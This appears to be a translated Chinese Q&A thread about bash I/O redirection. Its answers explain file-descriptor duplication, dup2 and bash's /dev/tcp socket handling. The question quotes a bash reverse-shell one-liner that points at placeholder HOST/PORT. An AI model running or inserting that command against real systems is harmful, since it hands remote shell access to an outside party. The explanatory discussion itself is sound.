了解 Bash 中的 I/O 重定向

了解 Bash 中的 I/O 重定向

当我发现这个时,我正在寻找一种在 bash 中获得反向 shell 的方法:

bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1

据我了解,stdout和stderr是通过connection( /dev/tcp/HOST/PORT)发送的,stdin是通过connection( 0<&1)读取的。但是,正如我读到的这里,表达式 0>&1 也有效。这对我来说没有意义(据我所知,>是“写入以下 fd”和< “从以下 fd 读取”)并且只应该以第一种方式工作。

我的问题是:我是否忘记了什么或者我完全错了?此 I/O 重定向示例涉及哪些内部流程?

答案1

<&和语法之间的唯一区别>&是,前者检查目标文件描述符是否打开以供输入,后者检查是否打开以供输出。两种情况下的实际操作是相同的(可能是dup2调用)。同时,不像大多数重定向那样> /dev/tcp/HOST/PORT进行系统调用;open/dev/tcp语法是 bash 的特殊情况,事实上 bash 正在打开一个套接字(然后它的行为就像一个正常的文件描述符 wrtreadwrite调用)。套接字不具有打开文件所具有的只读或只读属性;套接字允许读取和写入(shutdown(2)如果您愿意,您可以选择其中的一半)。因此,bash 不会在使用的两种语法中出现重定向错误,并且由于调用dup2相同,因此行为是相同的。

答案2

是的。< >指的是您在适用于 时所说的内容open()。但是,当您使用预先存在的文件描述符时,您不会这样做 - 它们已经被open()删除了。因此,您使用哪个标记并不重要,因为 shell 不会更改它已经获得的文件描述符的读/写特征 - 它只会更改dup()它。

所以...

{ read v <&4; } 4>/dev/null

read: read error: 0: Bad file descriptor

但...

{ read v 0>&4; } 4</dev/null

……一点也不抱怨。

在上述两个示例中,文件描述符均已成功复制。 shell 不会抱怨 fd 重复,因为它工作得很好。这与之前抱怨的基本相同:

{ echo hi there; read v; } 0>/dev/null

hi there
read: read error: 0: Bad file descriptor

read在那里抱怨,因为当它尝试从文件描述符零读取时,它会得到 EBADF。 shell 在第一个示例中成功地复制到 stdin,就像它在第二个示例中&4成功地在 stdin 上执行只写一样。open()

实际上,在 fd dup 上下文中,<and>标记并非完全无关紧要,因为<&[num]and仍然是and of course 的>&[num]简写。0<&[num]1>&[num]

相关内容